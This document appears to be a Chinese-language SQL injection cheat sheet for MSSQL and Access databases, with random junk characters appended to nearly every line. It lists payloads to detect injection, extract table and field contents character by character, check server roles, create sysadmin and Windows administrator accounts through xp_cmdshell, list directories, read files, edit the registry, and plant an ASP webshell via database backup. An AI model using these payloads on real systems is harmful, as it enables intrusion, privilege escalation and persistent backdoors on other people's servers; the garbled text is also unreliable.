1.判断是否有注入;and 1=1 ;and 1=2 y9{KBM%h
2.初步判断是否是mssql ;and user>0 h<f_Eoz-a
t4/d1qW0
3.注入参数是字符'and [查询条件] and ''=' A7 qyv0F
']WS@MbJ
4.搜索时没过滤参数的'and [查询条件] and '%25'=' uK6R+a
MxD,xpf
5.判断数据库系统 @Z&El:]3>
7;jwKA;k
;and (select count(*) from sysobjects)>0 mssql Kp'_lKW)]q
lRF04
;and (select count(*) from msysobjects)>0 access <La$'lG4J
-hiG8%l5
SpU+y|\[0
Wl/oun~o
6.猜数据库 ;and (select Count(*) from [数据库名])>0 7+0Kg'^+n
"-88bF~
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 I} m\(TS-"
Z,^`R] 9
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 OS;qb:;
pwtB{6)VH{
9.(1)猜字段的ascii值(access) !}<d6&!py
S}f3b N
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 rG|lRT3-K
{?!=~vp
(2)猜字段的ascii值(mssql) _dky+ E
I`^
7Bk.r
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 5R\{&
"j;"\i0
10.测试权限结构(mssql) b
R> G%*a
2a|9D\
As
}:~Jy|
FNL[6.!PV
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?{[ISk)
{}kE=L5
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- tPB r{
_y*@Hj
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Ri=:=oF(
8yij=T*
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- o@*eC L=
0tyoH3o/d
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- .<%2ON_
^aYlu0Wm
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- kH/u]+_
G_vWwH4XtL
;and 1=(select IS_MEMBER('db_owner'));-- Y"6
'
3eT5~Lbs
`2-6Qv
h\| ~Q.kG
11.添加mssql和系统的帐户 ^YG'p?r.s
(k/[/`3ST
;exec master.dbo.sp_addlogin username;-- U l8G R
;exec master.dbo.sp_password null,username,password;-- "Zm**h.t
& mwQj<Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- d5Hp&tm
+a1Or
;exec master.dbo.xp_cmdshell 'net user username password H3\4&q
.'foS>W=t
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- eB%hP9=:x
XrP'FLY o
;exec master.dbo.xp_cmdshell 'net user username password /add';-- B_R
J;.oH
_3@[S
F
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- KYa}k0tVAp
Q+@/.qJ
[A~n=m5H
z ntvKOIh
12.(1)遍历目录 m}Xb #NAF8
Q^13KWvuV
;create table dirs(paths varchar(100), id int) *Z}^T:3iw}
%87D(h!.I4
;insert dirs exec master.dbo.xp_dirtree 'c:\' RN:VsopL
"/H B#
;and (select top 1 paths from dirs)>0 )gF>nNE
h,-2+}
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8xf]zM"Q
YX*NjXL
2L!s'^m-
Ao?y2 [sE
(2)遍历目录 QFekj@
XBx&&
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- -c%#Hd
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,~8&0p
03N|@Tu
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 qZQB"Q.*
, e^&,5b
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ~dc
o
9;2{=,
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 hA=.${uIO
zXX=WH
kXW5bR
CE,0@%6F*
13.mssql中的存储过程 78M%[7Cq<i
.X1xpi%
xp_regenumvalues 注册表根键, 子键 7sypU1V6
]bcAbCZ@
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7Eb |AR
!O)je>A
xp_regread 根键,子键,键值名 B`{7-Asc1
?,XrZRF
;exec xp_regread (:Y0^
\B/!}Tn;
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 zX]4DLl,
9}-;OJe
xp_regwrite 根键,子键, 值名, 值类型, 值 ( JMk0H3u
r0^ *|+
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $Gs9"~z?;
@kstG3@
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 r+%$0eB1^
eewlK]
xp_regdeletevalue 根键,子键,值名 'kuLkM,
o?,c#g
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 FTgqE@
uKA-<nM._c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 bU$f4J
:<p3L!?8y
c`Q#4e]%_
S7B\mv
14.mssql的backup创建webshell ,gO(zI-1
;$.^
use model g:oB j6$
q
S1I# qb
create table cmd(str image); #1)#W6 h\
9P1!<6mN\
insert into cmd(str) values (''); $V870
<
`g+Kv&546
backup database model to disk='c:\l.asp'; vu@@!cT6e
<dWms`QcO
r91b]m3xL
W0+m A
15.mssql内置函数 ^ *1hz<
'O^<i`8U]
;and (select @@version)>0 获得Windows的版本号 *";O_ :C!
k0bDEz.X
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1v~1?+a\2
dy.U;
;and (select user_name())>0 爆当前系统的连接用户 .Lm0$o*`
){< qp
;and (select db_name())>0 得到当前连接的数据库 9dCf@5]
'H8b+
>F5E^DY
^k2g60]
16.简洁的webshell ) :VF^"
Y52TC@'
use model 5~FXy{ZIH
/B!Ik:c}
create table cmd(str image); ?s5/
.+A2\F.^
insert into cmd(str) values (''); d3;Sy`.
-|2k$W
backup database model to disk='g:\wwwtest\l.asp';